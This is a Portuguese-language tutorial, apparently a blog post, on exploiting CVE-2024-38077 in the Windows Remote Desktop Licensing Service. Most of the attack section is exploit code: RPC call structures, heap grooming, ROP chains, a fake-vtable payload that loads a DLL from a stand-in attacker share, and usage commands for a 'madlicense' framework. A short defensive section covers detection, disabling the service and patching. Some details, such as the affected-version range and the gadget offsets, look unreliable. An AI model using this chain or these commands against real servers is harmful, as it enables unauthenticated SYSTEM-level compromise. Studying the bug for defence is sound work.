O CVE-2024-38077 é uma vulnerabilidade crítica de heap buffer overflow no Windows Remote Desktop Licensing Service (lserver.exe). Ela permite execução remota de código sem autenticação como NT AUTHORITY\SYSTEM. Afeta Windows Server 2000 até 2025. Este artigo explica a vulnerabilidade, a cadeia de exploração completa e as técnicas modernas para bypass de DEP, ASLR e CFG.
Este artigo é exclusivamente educacional e baseado em pesquisa de segurança autorizada. O framework discutido aqui é destinado a testes em laboratório, desenvolvimento de defesas e treinamento de equipes de segurança. Não utilize para atividades não autorizadas.
Por Que Estudar Este Exploit?
Você pode se perguntar: "Por que devo me aprofundar em um CVE específico?" A resposta é que o CVE-2024-38077 é um caso de estudo perfeito por vários motivos:
Ao final deste artigo, você terá compreensão profunda de como exploits modernos funcionam — conhecimento valioso tanto para Red Team (atacantes) quanto para Blue Team (defensores).
Pré-requisitos de Conhecimento
Este artigo é de nível avançado. Para aproveitá-lo ao máximo, você deve estar familiarizado com:
| Conhecimento | Nível | Por Que Precisa |
|---|---|---|
| Linguagem C | 🟡 Intermediário | Entender código vulnerável e estruturas |
| Python | 🟢 Básico | Ler código do framework de exploit |
| Assembly x64 | 🟡 Intermediário | Compreender ROP chains e gadgets |
| Windows Internals | 🟢 Básico | Heap, processos, DLLs |
| Redes e RPC | 🟢 Básico | Como cliente se comunica com servidor |
Não se preocupe! Mesmo sem dominar todos os pré-requisitos, o artigo explica cada conceito. Use como oportunidade de aprendizado — pesquise termos desconhecidos conforme avança.
Fundamentos: O Que É Buffer Overflow?
Conceito Básico
Um Buffer Overflow (estouro de buffer) ocorre quando um programa escreve dados além do limite de uma área de memória alocada. É uma das vulnerabilidades mais antigas e ainda mais exploradas em software de baixo nível.
BUFFER OVERFLOW - VISUALIZAÇÃO SITUAÇÃO NORMAL: BUFFER OVERFLOW: ┌─────────────────┐ ┌─────────────────┐ │ Buffer │ │ Buffer │ │ (64 bytes) │ ← Escrita OK │ (64 bytes) │ ← Escrita de 80 bytes │ [AAAAAAAAAA] │ │ [AAAAAAAAAA] │ ├─────────────────┤ ├─────────────────┤ │ Dados Válidos │ │ DADOS │ ← Sobrescrito! │ (próximo obj) │ │ CORROMPIDOS │ └─────────────────┘ └─────────────────┘
Por Que Acontece?
Linguagens como C e C++ não verificam limites de arrays automaticamente. O programador é responsável por garantir que os dados caibam no buffer:
// CÓDIGO VULNERÁVEL - Não verifica tamanho!
void vulnerable_function(char* user_input) {
char buffer[64]; // Buffer de 64 bytes
// strcpy NÃO verifica se user_input cabe em buffer!
strcpy(buffer, user_input); // ← VULNERÁVEL!
// Se user_input tem 100 bytes, 36 bytes extras
// sobrescrevem memória adjacente!
}
// CÓDIGO SEGURO - Verifica tamanho
void safe_function(char* user_input) {
char buffer[64];
// strncpy limita a cópia ao tamanho do buffer
strncpy(buffer, user_input, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0'; // Garante null terminator
}
Tipos de Buffer Overflow
| Tipo | Onde Ocorre | O Que Pode Sobrescrever | CVE-2024-38077 |
|---|---|---|---|
| Stack Overflow | Pilha (variáveis locais) | Return address, saved registers, outras variáveis | ❌ |
| Heap Overflow | Heap (memória dinâmica) | Objetos adjacentes, vtables, ponteiros de função | ✅ É ESTE! |
| BSS Overflow | Variáveis globais não inicializadas | Outras variáveis globais | ❌ |
| Integer Overflow | Cálculos aritméticos | Pode causar buffer overflow secundário | ✅ Root cause! |
Anatomia da Memória de um Processo
Para entender exploração, precisamos conhecer o layout de memória:
LAYOUT DE MEMÓRIA DE UM PROCESSO (x64) Endereço Alto ┌──────────────────────────────────────┐ 0x7FFFFFFFFFFF │ STACK │ ← Cresce para baixo ↓ │ (variáveis locais, return addrs) │ │ ════════════════════════════════ │ │ ↓ │ │ [ Espaço Livre ] │ │ ↑ │ │ ════════════════════════════════ │ │ HEAP │ ← Cresce para cima ↑ │ (malloc, new, HeapAlloc) │ CVE-2024-38077 AQUI! ├──────────────────────────────────────┤ │ BSS │ ← Variáveis globais não inicializadas ├──────────────────────────────────────┤ │ DATA │ ← Variáveis globais inicializadas ├──────────────────────────────────────┤ │ TEXT │ ← Código executável └──────────────────────────────────────┘ 0x000000000000 Endereço Baixo
Por Que Buffer Overflow É Perigoso?
Sobrescrever memória adjacente permite ao atacante:
- Controlar o fluxo de execução — Sobrescrever return address ou ponteiros de função
- Executar código arbitrário — Injetar e executar shellcode
- Escalar privilégios — Ganhar acesso SYSTEM/root
- Bypass de autenticação — Sobrescrever flags de verificação
- Vazamento de informações — Ler memória além do buffer
No caso do CVE-2024-38077: O heap overflow permite sobrescrever
um objeto adjacente que contém um vtable pointer. Ao corromper esse
ponteiro, o atacante controla para onde o programa pula quando chama um método
virtual → Remote Code Execution como SYSTEM.
O Caso Específico: Integer Overflow → Heap Overflow
O CVE-2024-38077 é interessante porque combina dois tipos de vulnerabilidade:
// 1. INTEGER OVERFLOW (truncation)
DWORD allocSize = (inputSize / 4) * 3; // Divisão inteira trunca!
// Exemplo: inputSize = 4003
// Cálculo: (4003 / 4) * 3 = 1000 * 3 = 3000 (errado!)
// Correto: ceil(4003 * 3 / 4) = 3003
// 2. HEAP OVERFLOW (consequência)
BYTE* buffer = HeapAlloc(heap, 0, allocSize); // Aloca 3000
Base64Decode(input, inputSize, buffer); // Escreve 3003!
// → 3 bytes overflow!
"Um único byte de overflow pode ser suficiente para comprometer todo um sistema. No caso do CVE-2024-38077, controlamos até 3 bytes — mais que suficiente para corromper ponteiros críticos."
Agora que você entende o que é Buffer Overflow, vamos ver como isso se manifesta no mundo real. O CVE-2024-38077 é um exemplo perfeito de Integer Overflow → Heap Overflow. Nas próximas seções, vamos dissecar cada detalhe da vulnerabilidade.
Análise Técnica: CVE-2024-38077
O Serviço Vulnerável
O Windows Remote Desktop Licensing Service (lserver.exe) gerencia
licenças CAL (Client Access License) para conexões RDP. Ele expõe uma interface RPC via
MS-RPC no UUID 3d267954-eeb7-11d1-b94e-00c04fa3080d.
# UUID do serviço Terminal Services Licensing
TSLSP_UUID = uuidtup_to_bin(("3d267954-eeb7-11d1-b94e-00c04fa3080d", "1.0"))
# Named pipes disponíveis para conexão
PIPES = [
r"\pipe\TermServLicensing", # Windows Server 2008+
r"\pipe\HydraLsPipe" # Windows Server 2003
]
A Função Vulnerável: CDataCoding::DecodeData
O bug está na função que decodifica dados Base64 recebidos via RPC. Análise do código pseudo-C descompilado:
// CÓDIGO VULNERÁVEL (simplificado do disassembly)
HRESULT CDataCoding::DecodeData(BYTE* pbEncodedData, DWORD cbEncodedSize,
BYTE** ppbDecodedData, DWORD* pcbDecodedSize)
{
// BUG: Cálculo usa divisão inteira TRUNCADA
DWORD allocSize = (cbEncodedSize / 4) * 3; // ← PROBLEMA AQUI!
// Aloca buffer baseado no cálculo incorreto
BYTE* pBuffer = (BYTE*)HeapAlloc(GetProcessHeap(), 0, allocSize);
// Decodifica Base64 - escreve ceil(cbEncodedSize * 3/4) bytes
// Se cbEncodedSize % 4 != 0, escreve MAIS que allocSize!
DWORD actualWritten = Base64Decode(pbEncodedData, cbEncodedSize, pBuffer);
// OVERFLOW: actualWritten > allocSize quando input % 4 != 0
*ppbDecodedData = pBuffer;
*pcbDecodedSize = actualWritten;
return S_OK;
}
Matemática do Bug
O problema é a diferença entre divisão inteira truncada e o cálculo real do Base64:
| Input (N) | Alocado: (N/4)*3 | Escrito: ceil(N*3/4) | Overflow |
|---|---|---|---|
| 4000 | 3000 | 3000 | 0 bytes ✓ |
| 4001 | 3000 | 3001 | 1 byte |
| 4002 | 3000 | 3002 | 2 bytes |
| 4003 | 3000 | 3003 | 3 bytes |
| 0x4001 | 0x3000 | 0x3001 | 1 byte |
| 0x2FC3 | 0x23D2 | 0x23D5 | 3 bytes (max controlável) |
Estruturas RPC/NDR do Exploit
O framework usa Impacket para construir chamadas RPC válidas:
# Estruturas NDR para comunicação RPC
class CONTEXT_HANDLE(NDRSTRUCT):
"""Handle de contexto RPC - 20 bytes"""
structure = (("Data", "20s=b''"),)
def getAlignment(self): return 4
class BYTE_ARRAY(NDRUniConformantArray):
"""Array de bytes conformante - tamanho variável"""
item = 'B'
# Chamada RPC vulnerável: TLSRpcTelephoneRegisterLKP (opnum 49)
class TLSRpcTelephoneRegisterLKP(NDRCALL):
opnum = 49 # ← Opcode da função vulnerável
structure = (
("ctx_handle", CONTEXT_HANDLE), # Handle da sessão
("cbData", DWORD), # Tamanho do payload
("pbData", BYTE_ARRAY), # Dados Base64 (OVERFLOW AQUI!)
)
Por Que É Crítico?
Fluxo de Conexão RPC
ATACANTE SERVIDOR (lserver.exe)
│ │
│─────── ncacn_np:target[\pipe\TermServ...] ──→│
│ │
│←────────────── RPC Bind OK ─────────────────│
│ │
│─────── TLSRpcConnect (opnum 1) ─────────────→│
│ │
│←────────── ctx_handle (20 bytes) ───────────│
│ │
│── TLSRpcTelephoneRegisterLKP (opnum 49) ────→│
│ [ctx_handle + cbData + pbData(Base64)] │
│ │
│ ┌─────────────────────────┤
│ │ CDataCoding::DecodeData │
│ │ allocSize = (N/4)*3 │
│ │ HeapAlloc(allocSize) │
│ │ Base64Decode → OVERFLOW!│
│ └─────────────────────────┤
│ │
│←─────────── RPC Response/Crash ─────────────│
│ │
Arquitetura do Framework de Exploração
Explorar um heap buffer overflow em Windows moderno não é simplesmente "escrever demais". É uma cadeia precisa de múltiplos estágios que devem funcionar em conjunto.
┌─────────────────────────────────────────────────────────────────┐ │ EXPLOIT CHAIN │ ├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤ │ LEAK │ MODEL │ WRITE │ GROOM │ TRIGGER │ EXECUTE │ │ (ASLR) │ (Target) │ (Where) │ (Heap) │ (Use) │ (RCE) │ ├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤ │ leak.py │target_ │write_ │heap_ │trigger │code_ │ │ │model.py │primitive │controller│.py │reuse.py │ │ │ │.py │.py │ │ │ └──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
Os 9 Módulos do Framework
| # | Módulo | Função |
|---|---|---|
| 1 | primitives.py |
Utilitários de manipulação de memória (pack, unpack, cyclic) |
| 2 | leak.py |
Bypass de ASLR — obter endereços de memória |
| 3 | target_model.py |
Modelagem das estruturas vulneráveis |
| 4 | write_primitive.py |
Escrita de valores específicos em offsets específicos |
| 5 | heap_controller.py |
Heap grooming — layout determinístico |
| 6 | trigger.py |
Forçar uso da memória corrompida |
| 7 | execution.py |
Controle de fluxo — hijack de RIP |
| 8 | code_reuse.py |
ROP chains para bypass de DEP |
| 9 | mitigations.py |
Consciência e adaptação às defesas |
Stage 1: Information Leak (ASLR Bypass)
O Problema: ASLR
Address Space Layout Randomization (ASLR) randomiza os endereços de memória a cada boot. Sem saber onde está a memória, qualquer tentativa de exploração resulta em crash.
Boot 1: ntdll.dll @ 0x7FFA12340000
Boot 2: ntdll.dll @ 0x7FFB98760000
Boot 3: ntdll.dll @ 0x7FFC55550000
A Solução: Information Leak
Precisamos "vazar" endereços de memória para calcular onde estão os módulos do sistema.
class LeakInfo:
"""Container para endereços vazados"""
heap_base: int # Base do heap
ntdll_base: int # Base do ntdll.dll
kernel32_base: int # Base do kernel32.dll
kernelbase_base: int # Base do kernelbase.dll
class LeakProvider:
"""Orquestrador de fontes de leak"""
sources: List[LeakSource]
def obtain(self) -> LeakInfo:
# Tenta cada fonte até conseguir
for source in self.sources:
leak = source.try_leak()
if leak.is_valid():
return leak
Em laboratório, você pode fornecer os endereços manualmente via --ntdll-base
depois de anexar um debugger ao alvo. Isso simula ter um leak real.
🏠 Analogia: Imagine que ASLR é como se a vítima mudasse de endereço todo dia. O Information Leak é descobrir o endereço atual. Agora que sabemos onde a memória está, precisamos preparar o terreno — isso é o Heap Grooming.
Windows Heap Internals & Grooming
Arquitetura do Windows Heap
O Windows moderno usa um sistema de heap complexo. Entender sua estrutura é essencial para exploração confiável:
WINDOWS HEAP ARCHITECTURE ┌──────────────────────────────────────────────────────────┐ │ PROCESS HEAP │ ├──────────────────────────────────────────────────────────┤ │ ┌────────────────┐ ┌────────────────────────────────┐ │ │ │ FRONT-END │ │ BACK-END │ │ │ │ (LFH/Segment) │ │ (Tradicional) │ │ │ ├────────────────┤ ├────────────────────────────────┤ │ │ │ Bucket[0] ≤8 │ │ VirtualAlloc para >= 512KB │ │ │ │ Bucket[1] ≤16 │ │ Coalesce de blocos livres │ │ │ │ Bucket[2] ≤24 │ │ Splitting de blocos grandes │ │ │ │ ... │ │ │ │ │ │ Bucket[127] │ │ Menos previsível │ │ │ └────────────────┘ └────────────────────────────────┘ │ └──────────────────────────────────────────────────────────┘
Low Fragmentation Heap (LFH)
O LFH é ativado automaticamente após ~17 alocações consecutivas do mesmo tamanho. Isso é crucial para nosso exploit:
# Tamanho máximo seguro para RPC (descoberto via testes)
MAX_RPC_SIZE = 0x2FC0
# Cálculo do bucket LFH alvo
def get_lfh_bucket(size):
"""Windows LFH usa buckets de 8 bytes de granularidade"""
if size <= 0x200: # Até 512 bytes
return (size + 7) // 8
elif size <= 0x1000: # Até 4KB
return ((size - 0x200) // 0x10) + 0x40
else:
return -1 # Back-end heap
# Para nosso overflow de ~0x23D2 bytes:
# Bucket = back-end (muito grande para LFH)
# Precisamos de grooming mais agressivo
Estrutura _HEAP_ENTRY
Cada bloco alocado no heap tem um header de 16 bytes (x64):
// Estrutura do header de cada chunk (Windows 10+)
typedef struct _HEAP_ENTRY {
union {
struct {
ULONG64 Size : 16; // Tamanho em unidades
ULONG64 Flags : 4; // FREE, BUSY, etc.
ULONG64 SmallTagIdx : 4; // Para debug
ULONG64 PrevSize : 16; // Chunk anterior
ULONG64 SegOffset : 8; // Offset no segmento
ULONG64 UnusedBytes : 8; // Padding
ULONG64 ExtFlags : 8; // Flags estendidas
};
ULONG64 Encoded; // XOR com _HEAP.Encoding para obfuscar
};
} HEAP_ENTRY, *PHEAP_ENTRY;
// IMPORTANTE: Headers são ENCODED com XOR!
// Precisamos conhecer _HEAP.Encoding para manipular
Windows 10+ usa Heap Encoding - cada header é XOR com um valor aleatório. Corromper headers sem conhecer o encoding causa crash imediato!
Estratégia de Grooming
| Fase | Objetivo | Técnica |
|---|---|---|
| 1. Fill | Preencher buracos existentes | 50+ alocações do tamanho alvo |
| 2. Activate LFH | Forçar uso do LFH (se aplicável) | 17+ alocações consecutivas |
| 3. Spray | Criar layout denso e previsível | 200+ alocações com objetos controlados |
| 4. Create Holes | Criar "buracos" estratégicos | Liberar a cada 4ª alocação |
| 5. Stabilize | Evitar coalescing | Alocações de "guarda" |
Implementação do Heap Controller
class HeapLayoutController:
"""Controlador de layout de heap para exploração"""
def __init__(self, alloc_func, free_func):
self.alloc = alloc_func # Função que aloca via RPC
self.free = free_func # Função que libera via RPC
self.allocations = []
self.holes = []
def execute_full_groom(self) -> Tuple[bool, str]:
# Fase 1: Preencher fragmentação existente
self._phase_defrag(count=50)
# Fase 2: Ativar LFH (17+ alocações do mesmo size)
self._phase_activate_lfh()
# Fase 3: Spray denso com objetos conhecidos
spray_pattern = b"AAAA" * (self.target_size // 4)
for i in range(200):
alloc_id = self.alloc(self.target_size, spray_pattern)
self.allocations.append(alloc_id)
# Fase 4: Criar holes estratégicos
# Liberar a cada 4ª alocação para criar padrão
for i in range(3, len(self.allocations), 4):
self.free(self.allocations[i])
self.holes.append(i)
# Fase 5: Alocações de guarda para prevenir coalescing
for offset in self.holes:
guard = self.alloc(16, b"GUARD") # Pequeno, diferente tamanho
return True, f"Groomed: {len(self.allocations)} allocs, {len(self.holes)} holes"
Layout Resultante
HEAP APÓS GROOMING (visual simplificado): ┌─────────┬─────────┬─────────┬─────────┬─────────┐ │ SPRAY_0 │ SPRAY_1 │ SPRAY_2 │ HOLE │ SPRAY_4 │ │ (AAAA) │ (AAAA) │ (AAAA) │ (FREE) │ (AAAA) │ ├─────────┴─────────┴─────────┴─────────┴─────────┤ │ │ │ Quando servidor aloca buffer vulnerável: │ │ Alta chance de cair no HOLE! │ │ │ ├─────────┬─────────┬─────────┬─────────┬─────────┤ │ SPRAY_0 │ SPRAY_1 │ SPRAY_2 │ VULN_BUF│ SPRAY_4 │ │ (AAAA) │ (AAAA) │ (AAAA) │ │ (AAAA) │ ├─────────┴─────────┴─────────┴─────────┴─────────┤ │ │ │ OVERFLOW sobrescreve início do SPRAY_4! │ │ Se SPRAY_4 tem vtable → hijack! │ │ │ └─────────────────────────────────────────────────┘
📰 Analogia: Heap Grooming é como arrumar cartas de baralho para que a carta que você quer fique no topo. Agora que o heap está preparado e podemos corromper memória, precisamos responder: "O que escrevemos lá?" A resposta é uma ROP Chain — imagine recortar palavras de uma revista para formar uma mensagem. Usamos pedaços de código que já existem!
ROP Chains: Bypass de DEP e CFG
O Problema: DEP + CFG
Windows moderno implementa múltiplas proteções que impedem execução de shellcode tradicional:
| Proteção | O Que Faz | Impacto |
|---|---|---|
| DEP | Heap e Stack são NX (Non-Executable) | Não podemos executar shellcode diretamente |
| CFG | Control Flow Guard valida alvos de CALL indireto | Não podemos chamar endereços arbitrários |
| CIG | Code Integrity Guard (Windows 10+) | Não podemos carregar DLLs não assinadas |
A Solução: Return-Oriented Programming
ROP "reutiliza" código existente em DLLs legítimas. Procuramos "gadgets" -
sequências de instruções terminadas em RET:
class CodeReuseEngine:
"""Motor de construção de ROP chains"""
# Offsets de gadgets em ntdll.dll (Windows Server 2019)
GADGETS_2019 = {
"pop_rcx": 0x8F7E3, # pop rcx; ret
"pop_rdx": 0x8FC23, # pop rdx; ret
"pop_r8": 0x4C123, # pop r8; ret
"pop_r9": 0x9D456, # pop r9; ret
"xchg_rax_rsp": 0x7A345, # xchg rax, rsp; ret (stack pivot)
"mov_rax_rcx": 0x3B789, # mov rax, rcx; ret
"jmp_rax": 0x2B012, # jmp rax
}
# Offsets de funções em kernel32.dll
KERNEL32_FUNCS = {
"LoadLibraryA": 0x1F240,
"GetProcAddress": 0x1F150,
"VirtualAlloc": 0x1E8A0,
"VirtualProtect": 0x1E920,
"WinExec": 0x62C40,
}
def get_gadget_addr(self, name: str) -> int:
"""Calcula endereço absoluto do gadget"""
offset = self.GADGETS_2019.get(name)
if offset:
return self.leak.ntdll_base + offset
raise ValueError(f"Gadget não encontrado: {name}")
Estrutura da ROP Chain para LoadLibraryA
ROP CHAIN: LoadLibraryA("\\\\attacker\\share\\pay.dll")
STACK LAYOUT: EXECUÇÃO:
┌────────────────────────┐
│ pop_rcx gadget addr │ ←── RSP aponta aqui
├────────────────────────┤ ↓
│ DLL_PATH_ADDR │ ←── RCX = endereço da string
├────────────────────────┤ ↓ RET
│ LoadLibraryA addr │ ←── Chama LoadLibraryA(RCX)
├────────────────────────┤ ↓
│ return_addr (cleanup) │ ←── Após LoadLibrary retornar
├────────────────────────┤
│ │
│ "\\attacker\share\x.dll" │ ←── String do path (null terminated)
│ │
└────────────────────────┘
Bypass de CFG via Alvos Válidos
CFG mantém um bitmap de alvos válidos de CALL. Nossa estratégia:
def build_cfg_aware_chain(self) -> bytes:
"""Constrói ROP chain que bypassa CFG"""
chain = b""
# CFG valida apenas CALLs, não RETs!
# Usamos apenas gadgets terminados em RET
# 1. Stack Pivot - trocamos RSP para nossa área
# Precisamos de um gadget que seja alvo válido de CFG
# NtContinue é sempre válido (usado por Windows)
# 2. Alternativa: usar JOP (Jump-Oriented Programming)
# JOP usa gadgets terminados em JMP ao invés de RET
# 3. Técnica: chamar função válida que eventualmente
# retorna via nosso ROP chain
# Sequência para VirtualAlloc (MEM_COMMIT | MEM_RESERVE | PAGE_EXECUTE_RW)
chain += p64(self.pop_rcx) # Gadget 1
chain += p64(0) # lpAddress = NULL
chain += p64(self.pop_rdx) # Gadget 2
chain += p64(0x1000) # dwSize = 4KB
chain += p64(self.pop_r8) # Gadget 3
chain += p64(0x3000) # flAllocationType = MEM_COMMIT|RESERVE
chain += p64(self.pop_r9) # Gadget 4
chain += p64(0x40) # flProtect = PAGE_EXECUTE_READWRITE
chain += p64(self.VirtualAlloc) # Chama VirtualAlloc
# RAX agora contém endereço RWX!
# Podemos copiar shellcode e pular para lá
return chain
Stack Pivot: De Uma Call para ROP Completo
Vtable hijack nos dá uma única CALL. Para executar uma chain completa, precisamos "pivotear" o stack:
; Gadget de Stack Pivot
; Troca RSP (stack pointer) para nossa área controlada
xchg rax, rsp ; RAX ↔ RSP
ret ; Agora executa do nosso "stack"
; Se RAX = endereço do nosso ROP chain no heap
; RSP agora aponta para nosso ROP chain
; Cada RET executa próximo gadget!
Requisito: RAX deve conter endereço do ROP chain antes do pivot. Isso é feito através do layout do objeto corrompido ou usando gadgets auxiliares.
Payload Completo: DLL Injection
class ExecutionPayload:
"""Construtor de payload de execução"""
def build_dll_injection(self, dll_path: str) -> bytes:
"""
Layout do payload final:
┌──────────────────────────────┐ Offset 0x0
│ Fake Vtable (8 bytes × N) │ ← Aponta para stack pivot
├──────────────────────────────┤ Offset 0x40
│ ROP Chain (LoadLibraryA) │ ← Chain principal
├──────────────────────────────┤ Offset 0x200
│ DLL Path String │ ← "\\\\attacker\\share\\x.dll\0"
├──────────────────────────────┤ Offset 0x300
│ Padding / Extra Data │
└──────────────────────────────┘
"""
payload = bytearray()
# Fake vtable - todas as entradas apontam para stack pivot
fake_vtable = p64(self.stack_pivot_gadget) * 16
payload.extend(fake_vtable)
# ROP Chain
rop_chain = self._build_loadlibrary_chain()
payload.extend(rop_chain)
# DLL Path (wide string para LoadLibraryW ou ASCII para A)
dll_path_bytes = dll_path.encode('utf-8') + b'\x00'
payload.extend(dll_path_bytes)
# Padding para alignment
while len(payload) % 8 != 0:
payload.append(0x00)
return bytes(payload)
Vtable Hijacking: Obtendo Execução
A técnica mais comum para obter execução a partir de heap overflow é o Vtable Hijacking.
Como Funciona
OBJETO NORMAL: ┌─────────────┐ │ vtable* ────┼───→ ┌──────────────────┐ │ data... │ │ method1 address │ ← Legítimo │ │ │ method2 address │ └─────────────┘ └──────────────────┘ APÓS CORRUPÇÃO: ┌─────────────┐ │ vtable* ────┼───→ ┌──────────────────┐ │ data... │ │ GADGET ADDR │ ← NOSSO! │ │ │ GADGET ADDR │ └─────────────┘ └──────────────────┘ Quando method1 é chamado → Executa nosso gadget!
Stack Pivot
O vtable hijack nos dá uma call. Para executar uma ROP chain completa, usamos Stack Pivot:
# Gadget que troca RSP para onde temos ROP chain
xchg rax, rsp; ret # RAX = nosso endereço → RSP = nosso endereço
# Agora o "stack" é nossa área controlada!
# Cada RET pula para próximo gadget do nosso ROP chain
Fluxo Completo de Exploração
Stage 1: LEAK (ASLR Bypass)
Obter endereços de memória via info leak ou input manual
Stage 2: ANALYZE (Target Mapping)
Calcular overflow, identificar objetos adjacentes, determinar offsets
Stage 3: GROOM (Heap Shaping)
Fill → Activate LFH → Spray → Create Holes
Stage 4: PAYLOAD (Build)
Construir ROP chain + strings/dados necessários
Stage 5: CORRUPT (Trigger Overflow)
Enviar chamada RPC maliciosa, causar overflow
Stage 6: TRIGGER (Force Use)
Disconnect ou segunda chamada para forçar uso do ponteiro corrompido
Stage 7: EXECUTE (RCE)
ROP chain executa → LoadLibraryA carrega DLL → CÓDIGO ARBITRÁRIO COMO SYSTEM!
Mitigações e Como São Contornadas
| Mitigação | O Que Faz | Bypass |
|---|---|---|
| DEP | Heap/Stack não-executável | ROP (reuso de código) |
| ASLR | Endereços randomizados | Information Leak |
| CFG | Valida alvos de calls | Chamar alvos válidos, depois pivot |
| Stack Cookie | Detecta stack overflow | Não usamos stack overflow |
| Heap Hardening | Guard pages, metadata protection | Grooming cuidadoso |
Versões Afetadas
O CVE-2024-38077 afeta todas as versões do Windows Server que possuem o Remote Desktop Licensing Service instalado:
| Windows Server | Afetado | Patch Disponível | KB |
|---|---|---|---|
| Windows Server 2008 R2 | ✅ Sim | Julho 2024 | KB5040497 |
| Windows Server 2012 / R2 | ✅ Sim | Julho 2024 | KB5040498 |
| Windows Server 2016 | ✅ Sim | Julho 2024 | KB5040442 |
| Windows Server 2019 | ✅ Sim | Julho 2024 | KB5040430 |
| Windows Server 2022 | ✅ Sim | Julho 2024 | KB5040437 |
| Windows Server 2025 | ✅ Sim | Julho 2024 | KB5040431 |
Como Verificar Se Está Vulnerável
# Verificar se o serviço RDS Licensing está instalado
Get-Service -Name "TermServLicensing" -ErrorAction SilentlyContinue
# Verificar versão do lserver.exe
(Get-Item "C:\Windows\System32\lserver.exe").VersionInfo
# Verificar se patch foi aplicado
Get-HotFix | Where-Object { $_.HotFixID -match "KB504" }
Configurando Seu Lab de Testes
Para estudar este exploit de forma segura, você precisa de um ambiente isolado. Nunca teste em sistemas de produção!
⚠️ Importante: Use apenas em redes isoladas (NAT/Host-Only). Máquinas virtuais são ideais. Faça snapshots antes de testar.
Setup Recomendado
| Componente | Recomendação |
|---|---|
| VM Target | Windows Server 2019 Evaluation (ISO oficial Microsoft) |
| VM Attacker | Kali Linux ou qualquer distro com Python 3.9+ |
| Rede | Host-Only ou NAT isolado |
| Debugger | WinDbg Preview (obter endereços para bypass ASLR) |
Habilitando o RDS Licensing (Alvo)
# 1. Instalar a Role de Remote Desktop Services
Install-WindowsFeature -Name RDS-Licensing -IncludeManagementTools
# 2. Iniciar o serviço
Start-Service -Name "TermServLicensing"
# 3. Verificar se está escutando
netstat -an | findstr ":135"
Preparando o Atacante
# Instalar dependências
pip install impacket
# Clonar o framework (exemplo)
git clone https://github.com/exemplo/madlicense
cd madlicense
# Testar conectividade
python -m madlicense.poc -t 192.168.56.10 --check
Uso Prático do Framework
Instalação
pip install impacket
Comandos Disponíveis
# Apenas verificar se serviço está rodando
python -m madlicense.poc -t 10.0.0.5 --check
# Modo crash (validar vulnerabilidade - DoS)
python -m madlicense.poc -t 10.0.0.5 --crash-only
# Dry run (simula tudo sem enviar payload)
python -m madlicense.poc -t 10.0.0.5 --dry-run \
--ntdll-base 0x7ffa12340000
# DLL Injection completo
python -m madlicense.poc -t 10.0.0.5 \
--dll "\\\\attacker\\share\\payload.dll" \
--heap-base 0x22345670000 \
--ntdll-base 0x7ffa12340000 \
--kernel32-base 0x7ffa12500000
# Executar calc.exe (PoC clássico)
python -m madlicense.poc -t 10.0.0.5 \
--cmd calc.exe \
--ntdll-base 0x7ffa12340000
Para Defensores (Blue Team)
Detecção
- Monitore conexões RPC na porta 135 para o serviço TermServLicensing
- Detecte crashes ou reinícios anormais do
lserver.exe - Analise payloads Base64 grandes em chamadas RPC
- Implemente regras YARA para padrões conhecidos
Mitigação Imediata
# Desabilitar o serviço se não for necessário
Stop-Service -Name "TermServLicensing" -Force
Set-Service -Name "TermServLicensing" -StartupType Disabled
# Ou bloquear via firewall
New-NetFirewallRule -DisplayName "Block RDP Licensing RPC" `
-Direction Inbound -Protocol TCP -LocalPort 135 `
-Action Block -Profile Any
Patches
A Microsoft lançou patches para CVE-2024-38077. Aplique as atualizações de segurança imediatamente.
Conclusão
O CVE-2024-38077 é um exemplo perfeito de como um bug simples (cálculo incorreto de tamanho) pode ter consequências catastróficas quando explorado corretamente.
Mensagem-Chave
"Explorar um heap buffer overflow em Windows moderno não é só 'escrever muito'. É uma cadeia precisa de leak → groom → corrupt → trigger → execute. Sem qualquer um desses estágios, não há RCE."
O Que Aprendemos:
- ASLR bypass via information leak
- Heap grooming para layout determinístico
- Vtable hijacking para controle de execução
Próximos Passos:
- Estudar Windows internals
- Praticar em laboratório isolado
- Desenvolver detecções comportamentais